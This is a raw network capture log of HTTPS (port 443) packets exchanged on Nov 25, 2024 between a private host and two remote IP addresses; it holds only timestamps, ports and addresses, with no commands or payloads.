Nov 25, 2024 12:08:31.785315990 CET	443	49970	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:31.785815001 CET	49970	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:31.785840988 CET	443	49970	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:31.786374092 CET	49970	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:31.786377907 CET	443	49970	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.219806910 CET	443	49970	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.223067999 CET	443	49970	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.223114967 CET	443	49970	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.223143101 CET	49970	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:32.223190069 CET	49970	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:32.223236084 CET	49970	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:32.223254919 CET	443	49970	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.223283052 CET	49970	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:32.223288059 CET	443	49970	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.225866079 CET	49975	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:32.225909948 CET	443	49975	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.225996971 CET	49975	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:32.226151943 CET	49975	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:32.226161957 CET	443	49975	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.506217003 CET	443	49972	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.506946087 CET	49972	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:32.506982088 CET	443	49972	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.507287025 CET	49972	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:32.507294893 CET	443	49972	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.620824099 CET	443	49973	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.621290922 CET	49973	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:32.621320963 CET	443	49973	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.621752977 CET	49973	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:32.621761084 CET	443	49973	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.798027992 CET	443	49974	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.798744917 CET	49974	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:32.798778057 CET	443	49974	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.799494982 CET	49974	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:32.799504995 CET	443	49974	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.959373951 CET	443	49972	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.959413052 CET	443	49972	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.959465981 CET	443	49972	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.959507942 CET	49972	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:32.959547997 CET	49972	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:32.959806919 CET	49972	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:32.959834099 CET	443	49972	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.959852934 CET	49972	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:32.959860086 CET	443	49972	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.962515116 CET	49976	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:32.962558031 CET	443	49976	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:32.962634087 CET	49976	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:32.962783098 CET	49976	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:32.962796926 CET	443	49976	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:33.073426008 CET	443	49973	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:33.076813936 CET	443	49973	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:33.076867104 CET	443	49973	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:33.076913118 CET	49973	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:33.076913118 CET	49973	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:33.076956987 CET	443	49973	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:33.076973915 CET	49973	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:33.076982021 CET	443	49973	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:33.076997995 CET	49973	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:33.077002048 CET	443	49973	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:33.080477953 CET	49977	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:33.080519915 CET	443	49977	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:33.080662966 CET	49977	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:33.080764055 CET	49977	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:33.080776930 CET	443	49977	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:33.241307974 CET	443	49974	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:33.244357109 CET	443	49974	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:33.244410038 CET	443	49974	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:33.244422913 CET	49974	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:33.244456053 CET	49974	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:33.244479895 CET	49974	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:33.244503021 CET	443	49974	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:33.244514942 CET	49974	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:33.244520903 CET	443	49974	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:33.248928070 CET	49978	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:33.248977900 CET	443	49978	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:33.249043941 CET	49978	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:33.249185085 CET	49978	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:33.249202013 CET	443	49978	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:34.004841089 CET	443	49975	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:34.005433083 CET	49975	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:34.005445957 CET	443	49975	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:34.005888939 CET	49975	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:34.005893946 CET	443	49975	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:34.448865891 CET	443	49975	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:34.448930979 CET	443	49975	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:34.448987961 CET	49975	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:34.449155092 CET	49975	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:34.449187994 CET	443	49975	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:34.449212074 CET	49975	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:34.449220896 CET	443	49975	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:34.452400923 CET	49980	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:34.452439070 CET	443	49980	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:34.452511072 CET	49980	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:34.452701092 CET	49980	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:34.452712059 CET	443	49980	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:34.688957930 CET	443	49976	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:34.689544916 CET	49976	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:34.689565897 CET	443	49976	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:34.690037012 CET	49976	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:34.690042019 CET	443	49976	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:34.794356108 CET	443	49977	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:34.794950962 CET	49977	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:34.794975042 CET	443	49977	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:34.795552969 CET	49977	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:34.795558929 CET	443	49977	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:34.963251114 CET	443	49978	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:34.963891029 CET	49978	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:34.963907957 CET	443	49978	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:34.964456081 CET	49978	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:34.964463949 CET	443	49978	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.121970892 CET	443	49976	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.125066042 CET	443	49976	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.125158072 CET	49976	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.125200033 CET	49976	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.125227928 CET	443	49976	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.125242949 CET	49976	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.125248909 CET	443	49976	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.128128052 CET	49981	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.128165007 CET	443	49981	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.128230095 CET	49981	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.128401041 CET	49981	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.128415108 CET	443	49981	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.148473978 CET	443	49971	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.148895979 CET	49971	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.148916960 CET	443	49971	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.149458885 CET	49971	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.149463892 CET	443	49971	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.228631020 CET	443	49977	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.231514931 CET	443	49977	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.231605053 CET	49977	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.231605053 CET	49977	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.231631041 CET	49977	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.231647968 CET	443	49977	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.235085011 CET	49982	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.235119104 CET	443	49982	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.235239029 CET	49982	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.235419989 CET	49982	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.235433102 CET	443	49982	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.397979975 CET	443	49978	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.401058912 CET	443	49978	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.401120901 CET	443	49978	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.401150942 CET	49978	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.401204109 CET	49978	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.401263952 CET	49978	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.401279926 CET	443	49978	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.401310921 CET	49978	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.401316881 CET	443	49978	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.404279947 CET	49983	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.404315948 CET	443	49983	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.404391050 CET	49983	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.404565096 CET	49983	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.404573917 CET	443	49983	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.601166964 CET	443	49971	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.604516983 CET	443	49971	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.604609013 CET	49971	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.604660034 CET	49971	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.604684114 CET	443	49971	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.604693890 CET	49971	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.604700089 CET	443	49971	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.607748985 CET	49984	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.607789040 CET	443	49984	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:35.607856989 CET	49984	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.608091116 CET	49984	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:35.608108997 CET	443	49984	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:36.298391104 CET	443	49980	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:36.299050093 CET	49980	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:36.299067020 CET	443	49980	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:36.299666882 CET	49980	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:36.299670935 CET	443	49980	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:36.751086950 CET	443	49980	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:36.754175901 CET	443	49980	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:36.754250050 CET	49980	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:36.754281044 CET	49980	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:36.754293919 CET	443	49980	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:36.754304886 CET	49980	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:36.754309893 CET	443	49980	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:36.757534981 CET	49985	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:36.757555008 CET	443	49985	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:36.757652998 CET	49985	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:36.757823944 CET	49985	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:36.757833958 CET	443	49985	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:36.914807081 CET	443	49981	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:36.925209999 CET	49981	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:36.925225019 CET	443	49981	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:36.928287983 CET	49981	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:36.928294897 CET	443	49981	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.014327049 CET	443	49982	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.014944077 CET	49982	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.014966011 CET	443	49982	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.015428066 CET	49982	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.015434027 CET	443	49982	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.121216059 CET	443	49983	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.121831894 CET	49983	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.121845007 CET	443	49983	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.122412920 CET	49983	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.122416973 CET	443	49983	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.356287003 CET	443	49981	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.359997034 CET	443	49981	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.360048056 CET	443	49981	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.360085964 CET	49981	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.360116005 CET	49981	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.360193968 CET	49981	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.360210896 CET	443	49981	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.360223055 CET	49981	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.360228062 CET	443	49981	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.363110065 CET	49986	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.363135099 CET	443	49986	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.363198996 CET	49986	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.363346100 CET	49986	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.363356113 CET	443	49986	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.397670031 CET	443	49984	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.398305893 CET	49984	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.398319960 CET	443	49984	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.398773909 CET	49984	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.398777008 CET	443	49984	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.457653999 CET	443	49982	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.460939884 CET	443	49982	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.461014986 CET	49982	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.461049080 CET	49982	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.461049080 CET	49982	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.461066008 CET	443	49982	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.461075068 CET	443	49982	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.463849068 CET	49987	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.463867903 CET	443	49987	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.463936090 CET	49987	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.464092016 CET	49987	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.464102030 CET	443	49987	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.555658102 CET	443	49983	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.559207916 CET	443	49983	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.559262037 CET	443	49983	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.559276104 CET	49983	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.559320927 CET	49983	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.559385061 CET	49983	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.559397936 CET	443	49983	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.559408903 CET	49983	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.559413910 CET	443	49983	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.562489033 CET	49988	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.562531948 CET	443	49988	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.562730074 CET	49988	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.562730074 CET	49988	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.562758923 CET	443	49988	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.842214108 CET	443	49984	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.845082998 CET	443	49984	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.845141888 CET	49984	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.845176935 CET	49984	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.845199108 CET	443	49984	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.845208883 CET	49984	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.845216036 CET	443	49984	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.848740101 CET	49989	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.848771095 CET	443	49989	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.849046946 CET	49989	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.849143028 CET	49989	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:37.849148989 CET	443	49989	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:37.878838062 CET	49990	443	192.168.2.5	142.250.181.100
Nov 25, 2024 12:08:37.878863096 CET	443	49990	142.250.181.100	192.168.2.5
Nov 25, 2024 12:08:37.878988028 CET	49990	443	192.168.2.5	142.250.181.100
Nov 25, 2024 12:08:37.879208088 CET	49990	443	192.168.2.5	142.250.181.100
Nov 25, 2024 12:08:37.879220963 CET	443	49990	142.250.181.100	192.168.2.5
Nov 25, 2024 12:08:38.472038031 CET	443	49985	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:38.472681999 CET	49985	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:38.472714901 CET	443	49985	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:38.473161936 CET	49985	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:38.473166943 CET	443	49985	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:38.907233953 CET	443	49985	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:38.910379887 CET	443	49985	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:38.910461903 CET	49985	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:38.910526037 CET	49985	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:38.910542965 CET	443	49985	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:38.910553932 CET	49985	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:38.910557985 CET	443	49985	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:38.913296938 CET	49991	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:38.913322926 CET	443	49991	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:38.913449049 CET	49991	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:38.913544893 CET	49991	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:38.913558960 CET	443	49991	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.083677053 CET	443	49986	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.084235907 CET	49986	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.084273100 CET	443	49986	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.084678888 CET	49986	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.084686041 CET	443	49986	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.242847919 CET	443	49987	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.243371964 CET	49987	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.243391991 CET	443	49987	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.243849039 CET	49987	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.243855000 CET	443	49987	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.342883110 CET	443	49988	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.343559027 CET	49988	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.343581915 CET	443	49988	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.344017982 CET	49988	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.344023943 CET	443	49988	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.517133951 CET	443	49986	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.520509958 CET	443	49986	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.520606995 CET	49986	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.520642042 CET	49986	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.520663977 CET	443	49986	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.520674944 CET	49986	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.520680904 CET	443	49986	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.523350954 CET	49992	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.523466110 CET	443	49992	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.523664951 CET	49992	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.523849010 CET	49992	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.523870945 CET	443	49992	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.619702101 CET	443	49990	142.250.181.100	192.168.2.5
Nov 25, 2024 12:08:39.620325089 CET	49990	443	192.168.2.5	142.250.181.100
Nov 25, 2024 12:08:39.620351076 CET	443	49990	142.250.181.100	192.168.2.5
Nov 25, 2024 12:08:39.620708942 CET	443	49990	142.250.181.100	192.168.2.5
Nov 25, 2024 12:08:39.621191978 CET	49990	443	192.168.2.5	142.250.181.100
Nov 25, 2024 12:08:39.621278048 CET	443	49990	142.250.181.100	192.168.2.5
Nov 25, 2024 12:08:39.632112026 CET	443	49989	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.632647991 CET	49989	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.632673979 CET	443	49989	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.633114100 CET	49989	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.633126020 CET	443	49989	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.671101093 CET	49990	443	192.168.2.5	142.250.181.100
Nov 25, 2024 12:08:39.788005114 CET	443	49988	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.790546894 CET	443	49987	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.790991068 CET	443	49988	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.791079998 CET	49988	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.791110992 CET	49988	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.791110992 CET	49988	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.791131020 CET	443	49988	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.791141033 CET	443	49988	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.793585062 CET	443	49987	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.793584108 CET	49993	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.793623924 CET	443	49993	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.793642044 CET	49987	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.793678999 CET	49987	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.793694973 CET	443	49987	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.793709040 CET	49987	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.793711901 CET	49993	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.793714046 CET	443	49987	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.794616938 CET	49993	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.794626951 CET	443	49993	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.795746088 CET	49994	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.795823097 CET	443	49994	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:39.795897007 CET	49994	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.795994997 CET	49994	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:39.796011925 CET	443	49994	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:40.076301098 CET	443	49989	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:40.079387903 CET	443	49989	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:40.079493046 CET	49989	443	192.168.2.5	13.107.246.63
